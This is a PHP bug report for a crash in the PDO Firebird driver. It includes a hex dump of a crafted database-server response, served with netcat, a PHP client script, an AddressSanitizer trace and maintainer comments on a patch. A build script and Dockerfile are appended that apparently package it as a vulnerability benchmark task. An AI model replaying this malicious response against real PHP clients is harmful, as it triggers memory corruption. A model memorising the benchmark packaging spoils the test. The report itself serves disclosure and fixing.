Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.0-dev, Copyright (c) 1998-2018 Zend Technologies

Test script:
---------------
$ xxd stmt_blob.bin
00000000: 0000 005e ffff 800f 0000 0001 0000 0005  ...^............
00000010: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000020: 7574 6800 0000 0000 0000 0000 0000 005c  uth............\
00000030: 0000 0000 0000 000b 4c65 6761 6379 5f41  ........Legacy_A
00000040: 7574 6800 0000 0000 0000 0000 0000 0009  uth.............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000070: 0000 0001 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0001 0000 0000 0000 0000 0000 0009  ................
00000090: 0000 0002 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0001 0000 0000 0000 0000 0000 0009  ................
000000b0: 0000 0004 0000 0000 0000 0000 0000 00a1  ................
000000c0: 1504 0001 0000 001b 0400 0300 0000 0507  ................
000000d0: 0400 0000 0000 0407 0400 0200 0000 0904  ................
000000e0: 0001 0000 000b 0400 c101 0000 0c04 0000  ................
000000f0: 0000 000d 0400 0000 0000 0e04 0032 0000  .............2..
00000100: 0010 0300 4141 4111 0400 5445 5354 1206  ....AAA...TEST..
00000110: 0053 5953 4442 4113 0300 4141 4108 0904  .SYSDBA...AAA...
00000120: 0002 0000 000b 0400 0902 0000 0c04 0000  ................
00000130: 0000 000d 0400 0000 0000 0e04 0008 0000  ................
00000140: 0010 0400 4242 4242 1104 0054 4553 5412  ....BBBB...TEST.
00000150: 0600 5359 5344 4241 1304 0042 4242 4208  ..SYSDBA...BBBB.
00000160: 0100 0000 0000 0001 0000 0000 0000 0000  ................
00000170: 0000 0009 0000 0001 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0001 0000 0000 0000 0000  ................
00000190: 0000 0009 0000 0000 0000 0000 0000 0000  ................
000001a0: 0000 0000 0000 0001 0000 0000 0000 0000  ................
000001b0: 0000 0042 0000 0000 0000 0001 0000 0000  ...B............
000001c0: 0000 0004 6869 6869 0000 008b 0000 0000  ....hihi........
000001d0: 0000 0042 0000 0000 0000 0001 0000 0000  ...B............
000001e0: 0000 0005 6869 6869 3200 0000 0000 008b  ....hihi2.......
000001f0: 0000 0001 0000 0042 0000 0000 0000 0001  .......B........
00000200: 0000 0000 0000 0005 6869 6869 3200 0000  ........hihi2...
00000210: 0000 008b 0000 0002 0000 0042 0000 0000  ...........B....
00000220: 0000 0001 0000 0000 0000 0005 6869 6869  ............hihi
00000230: 3200 0000 0000 008b 0000 0003 0000 0042  2..............B
00000240: 0000 0064 0000 0000 0000 0009 0000 0003  ...d............
00000250: 0000 0000 0000 0000 0000 0000 0000 0001  ................
00000260: 0000 0000 0000 0000 0000 0009 0000 0003  ................
00000270: 0000 0000 0000 0000 0000 0008 0604 00ff  ................
00000280: ffff ff01 0000 0001 0000 0000 0000 0000  ................
00000290: 0000 0009 0000 0002 0000 0000 0000 0000  ................
000002a0: 0000 0005 0300 3132 3300 0000 0000 0001  ......123.......
000002b0: 0000 0000 0000 0000 0000 0009 0000 0000  ................
000002c0: 0000 0000 0000 0000 0000 0000 0000 0001  ................
000002d0: 0000 0000 0000 0000 0000 0009 0000 0002  ................
000002e0: 0000 0000 0000 0000 0000 0000 0000 0001  ................
000002f0: 0000 0000 0000 0000 0000 0009 ffff ffff  ................
00000300: 0000 0000 0000 0000 0000 0000 0000 0001  ................
00000310: 0000 0000 0000 0000 0000 0009 0000 0000  ................
00000320: 0000 0000 0000 0000 0000 0000 0000 0001  ................
00000330: 0000 0000 0000 0000 0000 0009 0000 0000  ................
00000340: 0000 0000 0000 0000 0000 0000 0000 0001  ................
00000350: 0000 0000 0000 0000                      ........


$ nc -lvp 3050 < stmt_blob.bin


$ cat fire_stmt_blob.php
<?php
$dsn = 'firebird:dbname=localhost:employee;charset=utf8;';
$username = 'SYSDBA';
$password = 'masterkey';

$dbh = new PDO($dsn, $username, $password, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$sql = "select * from test";
$query = $dbh->prepare($sql);
$query->execute();
var_dump($query->fetch());
?>


Expected result:
----------------
No crash

Actual result:
--------------
$ ./php fire_stmt_blob.php
=================================================================
==5574==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 0x4ce057 in __asan_memcpy /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:453:3
    #1 0xcd44b1 in fetch_value (/mnt/hgfs/share/htdocs/php+0xcd44b1)
    #2 0xccd658 in do_fetch (/mnt/hgfs/share/htdocs/php+0xccd658)
    #3 0xcc605c in zim_PDOStatement_fetch (/mnt/hgfs/share/htdocs/php+0xcc605c)
    #4 0x12e2d9f in ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER (/mnt/hgfs/share/htdocs/php+0x12e2d9f)
    #5 0x1212bcf in execute_ex (/mnt/hgfs/share/htdocs/php+0x1212bcf)
    #6 0x121320b in zend_execute (/mnt/hgfs/share/htdocs/php+0x121320b)
    #7 0x11175c0 in zend_execute_scripts (/mnt/hgfs/share/htdocs/php+0x11175c0)
    #8 0xfa4878 in php_execute_script (/mnt/hgfs/share/htdocs/php+0xfa4878)
    #9 0x1412cc4 in do_cli (/mnt/hgfs/share/htdocs/php+0x1412cc4)
    #10 0x1410e67 in main (/mnt/hgfs/share/htdocs/php+0x1410e67)
    #11 0x7f05cd17382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #12 0x43d878 in _start (/mnt/hgfs/share/htdocs/php+0x43d878)

Address 0x7f05c7a87010 is a wild pointer.
SUMMARY: AddressSanitizer: negative-size-param /scratch/llvm/clang-4/xenial/final/llvm.src/projects/compiler-rt/lib/asan/asan_interceptors.cc:453:3 in __asan_memcpy
==5574==ABORTING

Comments:

[Comment 1] [2018-06-28 08:31 UTC] trichimtrich at gmail dot com
any update for this one?

[Comment 2] [2021-05-05 10:54 UTC] cmb@php.net
Suggested patch:
<https://gist.github.com/cmb69/bbf45c1f420fcc16a98d2a9614db8729>.

This requires the payload server[1], and is developed against
PHP-7.4.  For PHP-7.3 at least some adjustments need to be done.
I can do that, but first would like to confirm that the patch and
the testing "framework" are generally acceptable.

Stas, what do you think?

[1] <https://github.com/php/php-src/pull/6940>
Links: https://gist.github.com/cmb69/bbf45c1f420fcc16a98d2a9614db8729, https://github.com/php/php-src/pull/6940

[Comment 3] [2021-06-21 04:54 UTC] stas@php.net
@cmb I think we may want to use safe_erealloc here?

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
autoreconf -vfi
./configure
make -j$(nproc)
export ONIG_CFLAGS="-I$PWD/oniguruma/src"
export ONIG_LIBS="-L$PWD/oniguruma/src/.libs -l:libonig.a"
export CFLAGS="$CFLAGS -fno-sanitize=object-size"
export CXXFLAGS="$CXXFLAGS -fno-sanitize=object-size"
./buildconf --force
./configure \
        --disable-all \
        --enable-debug-assertions \
        --enable-option-checking=fatal \
        --enable-exif \
        --enable-mbstring \
        --without-pcre-jit \
        --disable-phpdbg \
        --disable-cgi \
        --with-pic

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf automake libtool bison re2c pkg-config
RUN apt-get install -y autoconf automake libtool bison re2c pkg-config
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout f5cba2d49172a6e096cbe5741662612a67d051b2
WORKDIR $SRC/php-src
COPY build.sh $SRC/

Additional files:
filename: cosmic.list
content: deb http://archive.ubuntu.com/ubuntu/ cosmic universe